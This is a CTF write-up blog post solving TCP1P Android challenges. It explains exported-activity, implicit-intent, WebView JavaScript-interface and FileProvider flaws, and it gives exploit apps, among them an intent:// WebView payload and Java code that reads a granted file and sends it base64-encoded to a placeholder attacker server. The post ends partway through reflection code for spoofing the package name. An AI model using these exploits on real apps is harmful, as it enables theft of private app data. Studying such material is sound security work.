Home Writeup All Mobile Challenges TCP1P
Post
Cancel

Writeup All Mobile Challenges TCP1P

Mobile Writeups for TCP1P Capture The Flag

Introduction

I participated in the TCP1P CTF with the MAGER team under the nickname “azka.” I successfully completed all of the Mobile Challenges in TCP1P and achieved first blood in several challenges.

Furthermore, I won the opportunity to write a writeup for the Internals challenges in Bahasa.

Android Virtual Device from TCP1P

They created an infrastructure for an Android Virtual Device that will be deployed on a website, allowing participants to simply connect and access it for testing our exploits and obtaining the flag, they upload the project of this AVD on their github repository.

Rules of the challenges

Intention: 356 pts

Challenge apk: challenge.apk

Static Analysis

Like with pentesting on Android, I typically begin by opening my JADX tools to examine the contents of the APK. The first step is to review the AndroidManifest.xml file to assess the app’s permissions, activities and what intents did this app use.

On this manifest file, my focuss is on this two activity that having value android:exported="true", we know if the application having this configuration on their app we can call this activity on another application that installed on the same device, and there is a class on com.kuro.intention.FlagSender that take my focuss on.

com.kuro.intention.FlagSender

Within the onCreate method, the app attempts to open a file flag.txt using openFileInput and reads its contents into a byte array with buffer. Once the flag is successfully read, it is converted into a string. Then sets the result code to -1 and attaches the flag as an extra to the intent using putExtra. The setResult method is used to package and send this data. In Android, the setResult method is used to set a result code and optional data (usually in the form of an Intent) to be returned to the calling activity when the current activity finishes. It’s commonly employed when one activity launches another and expects a result from it. The calling activity can then handle this result using the onActivityResult method, gaining access to the result code and any returned data, which allows the calling activity to take actions based on the outcome of the launched activity.

Creating a malicious app

The attack scenario is quite straightforward. We can create another application that start the FlagSender activity intent and retrieves the flag from the extra that returned in the setResult call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.exploitintentionss;

import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender"));
        startActivityForResult(intent, 1337);

    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        Log.d("MyApp", "onActivityResult called with requestCode: " + requestCode + ", resultCode: " + resultCode);

        if (requestCode == 1337) {
            if (resultCode == -1 && data != null) {
                String flag = data.getStringExtra("flag");

                TextView flagTextView = findViewById(R.id.textView);
                flagTextView.setText("Flag: " + flag);
            } else {
                TextView flagTextView = findViewById(R.id.textView);
                flagTextView.setText("Something went wrong: "+ resultCode + data);
            }
        }
    }
}

On the code that i provided to exploit the app was quite simple, we simply start the intent of FlagSender and receive the intent then get the flag from the extra intent and put it on my textView. Because of the FlagSender activity does not call finish(), you need to manually press the back button because of we need to return to our (attacker) activity.

Imagery: 436 pts

Challenge apk: challenge.apk

Static Analysis

I open my jadx and try to load the Imagery.apk and see the AndroidManifest.xml, and we just found 1 activity that located on MainActivity.

On MainActivity the app use a PICK intent and tried to request a permission to external storage to pick image file.

After the app check and request some permission regarding read/writing from external storage has been set, it proceeds to call the openImage() function which performs a startActivityForResult call using an implicit intent with android.intent.action.PICK.

An android intents is categorized with implicit and explicit intents, and below is the explanation of this two intents:

  1. Explicit Intent:

    An explicit intent is used when you want to start a specific component within your Android application, such as an activity, service, or broadcast receiver. It’s called “explicit” because you explicitly specify the target component that should be invoked. You typically provide the class name of the component you want to start.

    For example, if you have two activities, com.kuro.intention and com.kuro.intention.FlagSender, and you want to switch from com.kuro.intention to com.kuro.intention.FlagSender, you would use an explicit intent. Here’s a basic example in code:

    1
    2
    3
    
     Intent intent = new Intent();
     intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender"));
     startActivityForResult(intent);
    

    In this code, the intent explicitly specifies that it should navigate from com.kuro.intention to com.kuro.intention.FlagSender.

  2. Implicit Intent:

    An implicit intent is used when you want to perform an action that doesn’t require specifying a particular component in your app, but instead, you delegate the task to the Android system. Implicit intents are typically used to request actions that can be performed by other apps on the device, such as sending an email, sharing content, or opening a web page.

    With an implicit intent, you provide an action, a category, data (if relevant), and additional information to describe the type of action you want to perform. The Android system then searches for the appropriate component to handle the requested action.

    Here’s an example of using an implicit intent to open a web page in a web browser:

    1
    2
    3
    4
    5
    
     Uri webpage = Uri.parse("https://www.example.com");
     Intent intent = new Intent(Intent.ACTION_VIEW, webpage);
     if (intent.resolveActivity(getPackageManager()) != null) {
         startActivity(intent);
     }
    

    In this code, the implicit intent requests the system to perform an ACTION_VIEW action on a specific URI, which is a URL. The Android system will find the appropriate web browser application to handle this action.

In summary, explicit intents are used for launching specific components within your app, while implicit intents are used for triggering actions that can be handled by other apps, and the Android system determines the appropriate component to fulfill the request.

Because of the Imagery app using an implicit intent, it can be dangerous cause the attacker can create a new app that can handle the Imagery app to performs a PICK intent to our targeted files which in this CTF is the flag file that located in /data/data/com.kuro.imagery/files/flag.txt.

As we can see on the requestPermissions function that call a startActivityForResult and for sure the result will handled by onActivityResult and in the code it performs an openInputStream call from its content provider using data that has been received from the result of whatever the application gonna be pick on startActivityForResult.

Creating a malicious app

First thing first is we need to add a configuration on our AndroidManifest to set the priority to 999 so our app can be the first priority if the Imagery app will be opened, using filter-intent to set the configuration and set the intent to android.intent.action.PICK and set the mimeType to image/*.

And after that just code on MainActivity to set the result to our targeted files which is the flag file using setResult call.

OTA: 491 pts

Challenge apk: challenge.apk

Static Analysis

First thing first checking AndroidManifest.xml file and see the configuration of this app.

By look at this xml file we know that just MainActivity that configured and set the exported attribute to true, lets analys the MainActivity class.

MainActivity Analysis

Before take a look at the MainActivity class we have to know the UI of this app, when i open the app, this app is trying to download something

Lets take a look at the MainActivity class

By looking at this activity we know when we click the button of the executeButton it will execute the method at m46lambda$onCreate$0$intechfestccotaMainActivity

There is function that trying to load dex file and will load the class EntryPoint from it, and after that will get the field from the class called functions and get the value of the field NAME from functions field.

And After that there is function that will check the update that called checkForUpdate, this function just will show the dialog that said Checking for update... and after that this function will call m44lambda$checkForUpdate$1$intechfestccotaMainActivity function.

By looking at m44lambda$checkForUpdate$1$intechfestccotaMainActivity function we see that this function is checking a url and get the response of this getVerion.php url and throw it to AnonymousClass1 function.

By looking at the AnonymousClass1 function we see that this function is getting the value of the version that extracted from getVersion url

By at the end of this function we see that this function is trying to call downloadUpdate function that will send it by the version from getVersion.php url.

By looking at this function we see that this function is trying to load the dialog and show Dowonloading update..., and by that this function is trying to call the m45lambda$downloadUpdate$2$intechfestccotaMainActivity activity.

By looking at this function we see that this function is trying to access http://ota-mobile.intechfest.cc/ + version + update.dex url at version folder that extracted from getVersion url.

After that the code is just trying to read inside of the dex file

Creating a malicious app

The app is trying to download the dex file from http://ota-mobile.intechfest.cc/ + version + /update.dex and will read the dex file at loadDex function

So now the idea is tried to create a malicious dex file and tried to hosting the dex file and use port forwarding using PCAP Droid, cause by this we can do port forwarding without rooting the device.

Netsight: 496 pts

Challenge apk: challenge.apk

Static Analysis

As we do the same thing the first thing is to check the AndroidManifest.xml file and check the activity and the other things.

On this AndroidManifest.xml we see that the application has following configuration at AndroidManifest.xml like below:

  • PickerActivity set the exported to false, then we cant control this activity on another app.
  • MyContentProvider set the exported to false but this activity has the grantUriPermissions set to true and the file paths are defined via @xml/provider_paths.
  • WebviewActivity set the exported to true.
  • MainActivity set the exported to true.

As we can see the exported that set to true is just WebviewActivity and MainActivity, so lets analys this two file first, and my first focuss is on WebviewActivity.

WebviewActivity Analysis

On the WebviewActivity there is class WebAppInterface that used @JavascriptInterface, @JavascriptInterface is an annotation in Android that is used in the context of web views and JavaScript interactions with native Android code. It is used to expose specific methods of a Java object to JavaScript code running in a WebView. This annotation marks a Java method that can be called from JavaScript code within a WebView.

There is showToast and accessDeeplink, this method is annotated with @JavascriptInterface, meaning it can be called from JavaScript code running within a WebView.

  • showToast: Method to display a toast message in the Android app from JavaScript in a WebView.
  • accessDeeplink: Method to open a deep link (e.g., a URL) in the Android app from JavaScript in a WebView.

and the WebInterface is define as netsight, so in our javascript will look like this:

1
2
3
4
5
6
7
8
9
function showToast(toast) {
    netsight.showToast(toast);
}

function deepLink(link) {
    netsight.accessDeeplink(link);
}

deepLink("https://example.com");

The point is we need to access something on this deepLink function, because we having the capability to suplly an intent and start the activity pointed to by the intent is our access to get an access to non-exported components.

PickerActivity Analysis

We know that PickerActivity is set the exported to false, lets see this activity first.

This activity is using implicit intent that set the intent data from the received intent using getIntent().getData() and will send it as an extra to startActivityForResult call, and after that this intent set the Flags to 1 which is granting the FLAG_GRANT_READ_URI_PERMISSION on the data received from getData. So if we sent a file path from the netsight app we can grant the read access to the files that we want.

We can take a look at @xml/provider_paths.xml file that defines which directories or files could be shared by the content provider.

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="my_files"/>
</paths>

We can see that the internal_files is vulnerable because it allows arbitrary access to files under current directory ( . ), which is the current directory of the netsight application.

Creating a malicious app

First thing first is to create a malicious javascript that will execute the accessDeeplink via javascript interface that has been set in challenge app and inside of the accessDeeplink is our intent deelink payload that will start the non-exported PickerActivity.

But as you can see in AndroidManifest.xml there is no scheme configuration that set the deeplink on there, in android we can use intent:// scheme.

The intent:// scheme is a URI (Uniform Resource Identifier) scheme used in Android to define and handle Intents within apps. Intents are a fundamental component of Android’s inter-application communication system, allowing apps to request actions or services from other apps or to handle specific actions within themselves. The intent:// scheme provides a way to define an Intent using a URI, making it easy to launch other activities or apps from your own app.

I used this code to generate our intent payload that will open the path of the flag file and start the activity of PickerActivity.

1
2
3
4
Intent intent = new Intent();
intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.PickerActivity");
intent.setData(Uri.parse("content://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt"));
Log.d("IntentScheme", intent.toUri(Intent.URI_INTENT_SCHEME));

Then just copy value of the intent scheme and paste on our malicious javascript interface.

1
2
3
4
5
6
7
8
9
10
11
12
13
<h1>Netsight Exploit</h1>

<script type="text/javascript">
    function showToast(toast) {
        netsight.showToast(toast);
    }

    function deepLink(link) {
        netsight.accessDeeplink(link);
    }

    deepLink("intent://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt#Intent;scheme=content;component=com.tcpip.netsight/.PickerActivity;end");
</script>

After that we can create an activity called PickerActivity on our malicious app, and in the MainActivity set the webview to our hosted html file.

The PickerActivity is need for picker that will receive the data from getIntent().getData() from PickerActivity on the challenge app and send the data which is the flag data to our hosted server.

MainActivity.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package tcpip.exploit.netsigh;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.net.URISyntaxException;

public class MainActivity extends AppCompatActivity {
    @Override 
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();

        intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.PickerActivity");
        intent.setData(Uri.parse("content://com.tcpip.netsight.FileProvider/internal_files/files/flaggo.txt"));
        Log.d("IntentScheme", intent.toUri(Intent.URI_INTENT_SCHEME));


        intent.setClassName("com.tcpip.netsight", "com.tcpip.netsight.WebviewActivity");
        intent.putExtra("url", "http://YourHostedServer/net.html");
        startActivity(intent);
    }
}

The PickerActivity will start the activity via implicit intent using action android.intent.action.PICK, so we need to create another activity my activity using same name its called PickerActivity too and we need to set our AndroidManifest to set the priority to 999 and set the intent PICK.

PickerActivity.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package tcpip.exploit.netsigh;

import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Base64;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.NotificationCompat;
import java.io.BufferedInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;

public class PickerActivity extends AppCompatActivity {
    
    private class LongOperation extends AsyncTask<String, Void, String> {
        private LongOperation() {
        }
        
        @Override 
        public String doInBackground(String... params) {
            try {
                Log.e("data", params[0]);
                URL url = new URL("http://YourHostedServer/net.html?data=" + params[0]);
                try {
                    HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
                    new BufferedInputStream(urlConnection.getInputStream());
                    return "";
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            } catch (MalformedURLException e2) {
                throw new RuntimeException(e2);
            }
        }
        
        @Override 
        public void onPostExecute(String result) {
        }
    }

    @Override 
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        try {
            InputStream i = getContentResolver().openInputStream(getIntent().getData());
            byte[] buf = new byte[i.available()];
            i.read(buf);
            i.close();
            Log.e(NotificationCompat.CATEGORY_ERROR, "this is great " + new String(buf));
            String encoded = Base64.encodeToString(buf, 0);
            Log.e(NotificationCompat.CATEGORY_ERROR, "this is bad" + encoded);
            new LongOperation().execute(encoded);
        } catch (FileNotFoundException e) {
            Log.e(NotificationCompat.CATEGORY_ERROR, "this is bad" + e.getMessage());
        } catch (IOException e2) {
            throw new RuntimeException(e2);
        }
    }
}

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <uses-permission android:name="android.permission.INTERNET" />
    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:usesCleartextTraffic="true"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.ExploitNetsigh"
        tools:targetApi="31">
        <activity
            android:name="tcpip.exploit.netsigh.MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name="tcpip.exploit.netsigh.PickerActivity"
            android:exported="true">
            <intent-filter android:priority="99999">
                <action android:name="android.intent.action.PICK" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="content" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Internals: 499 pts

Challenge apk: challenge.apk

Given a challenge named Internals with the following description:

Let’s see how well your knowledge about android internals. Using any type of external library will deduct your points by half.

Hint :

  1. You do know android is open source right? Then it’s time to read the source code! Especially on getPackageName.
  2. Do some OSINT on the author’s repositories, maybe you’ll find an interesting project.

From the description given, it seems that we are challenged by the problem setter regarding our knowledge of android internals, and the problem setter also prohibits us from using external libraries to carry out the exploit, even if we use external libraries we will get a point reduction.

Now try to install and open this challenge application first and see how it looks.

It can be seen that this application requests a url that will download payload.dex and will load the dex.

Static Analysis

Okay after reading the description and content of the application from the question we need to look first at the source code of this internals application, and found one activity namely MainActivity only:

Below is the source code of the MainActivity :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package com.kuro.internals;

import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    Button btn_load;
    EditText input_url;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.input_url = (EditText) findViewById(R.id.input_url);
        Button button = (Button) findViewById(R.id.btn_load);
        this.btn_load = button;
        button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                String url = MainActivity.this.input_url.getText().toString();
                if (url.isEmpty()) {
                    AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                    builder.setTitle("Error");
                    builder.setMessage("URL cannot be empty!");
                    builder.setCancelable(false);
                    builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                    builder.show();
                    return;
                }
                MainActivity.this.downloadDex(url);
            }
        });
    }

    void downloadDex(String url) {
        ProgressDialog pDialog = new ProgressDialog(this);
        pDialog.setTitle("Downloading...");
        pDialog.setMessage("Please wait...");
        pDialog.setCancelable(false);
        pDialog.setProgressStyle(0);
        pDialog.show();
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Handler handler = new Handler(Looper.getMainLooper());
        executor.execute(new AnonymousClass2(url, handler, pDialog));
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* renamed from: com.kuro.internals.MainActivity$2  reason: invalid class name */
    /* loaded from: classes3.dex */
    public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    void loadDex() {
        File dexPath = getFileStreamPath("payload.dex");
        if (!dexPath.exists()) {
            AlertDialog.Builder builder = new AlertDialog.Builder(this);
            builder.setTitle("Error");
            builder.setMessage("payload.dex not found");
            builder.setCancelable(false);
            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
            builder.show();
            return;
        }
        try {
            DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
            Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
            clazz.getMethod("execute", new Class[0]).invoke(null, null);
            if (getPackageName().equals("l33t_h4x0r")) {
                AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
                builder2.setTitle("Gr4tz");
                builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
                builder2.setCancelable(false);
                builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                builder2.show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

It can be seen that the application uses the activity_main layout which can be found in jadx in the Resources/res/layout/activity_main.xml folder, this application also has 1 button and 1 EditText.

So simply when the user has entered the url into the box and pressed the button, the application will retrieve the url and throw it to the downloadDex function, if the user does not enter the url into the box it will display a popup URL cannot be empty!.

downloadDex fn

In the downloadDex function, we can see that the application will pop up the Downloading... dialog and will throw it to the AnonymousClass2 function.

AnonymousClass2 fn

Here is the source code of the AnonymousClass2 function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

After reading the source code of the AnonymousClass2 function, we can see that it tries to download the dex file from the url we provide and save it with the file name payload.dex which will then be redirected to the loadDex() function.

loadDex fn

And this is where the interesting part comes in and how we will create the malicious dex.

Which in this function first checks whether there is a payload.dex file in our application files folder, it is necessary to note that every file loaded by Android Studio is in the /data/data/[apk package name]/files folder, so in this code the challenge application will first check whether the payload.dex file is there or not in our files folder.

Furthermore, when the payload.dex file is in the files folder, payload.dex will be loaded with DexClassLoader which will be checked using Reflection to load the class in the dex file, which in this code the challenge application tries to load the class from the com.kuro.payload with the class name Main and also take the method of execute to run in the challenge application, after successfully loadClass from payload.dex then will check the package name of the challenge application which is currently is com.kuro.internals has changed to a new package name or not, namely l33t_h4x0r, when this condition is met the application will display the flag.

After successfully understanding how the flow of this application runs, the author already has an idea of how to make the malicious dex so that when the dex that the author makes later can change the packageName of the challenge application from com.kuro.internals to l33t_h4x0r.

From the hint given by the question maker, the question maker asks us to do osint in his digithub account.

Finally the author found his github account and found an interesting repository in it, namely APKKiller, in this repository the creator of the problem tells that by using Reflection we can read and modify the internal classes and fields.

Trial And Error with Reflection

After reading and doing trial and error about Reflection the author found a way that we can use the class from ActivityThread to change the packageName to the packageName we want.

Try to create a new project in Android Studio with the following setup:

  1. Select Empty Views Activity and then Next.

  2. Make the name whatever you want, as long as the package name is com.kuro.payload because in the challenge application this package will be loaded, then choose Java as the programming language, because Reflection we can use in java.

  3. After that click Finish and wait for android studio to prepare the setup.
  4. After everything is done, we create a new class with the name Main because the challenge application will load the class from our package with the name Main by right-clicking on the com.kuro.payload package then click New -> Java Class.

  5. Enter the name Main and enter.

  6. We will use MainActivity activity first for debugging.

So the first step is to first find the field of packageName and then we set it to the new value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Field[] fs = clazz.getDeclaredFields();

            for(int i = 0; i < fs.length; i++) {
                Log.e("Field" + String.valueOf(i), fs[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Try using the code above and run it, then try to see the logcat because I put Log.e there for debugging and see the contents of the field from ActivityThread.

And get the field contents of the ActivityThread class.

As hinted by the question creator, getPackageName is found in mPackageInfo.

After spending a lot of time here, I finally found that in the mBoundApplication fields there is an info field.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

            Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

And finally we found the field of mPackageName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
            currentActivityThread.setAccessible(true);
            Object activityThread = currentActivityThread.invoke(null);

            Field[] fields = clazz.getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("Field" + String.valueOf(i), fields[i].getName());
            }

            Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
            mBoundApplicationField.setAccessible(true);
            Object mBoundApplication = mBoundApplicationField.get(activityThread);

//            Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
//            for(int i = 0; i < fields.length; i++) {
//                Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
//            }

            Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
            loadedApkInfoField.setAccessible(true);
            Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);

            Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
            for(int i = 0; i < fields.length; i++) {
                Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

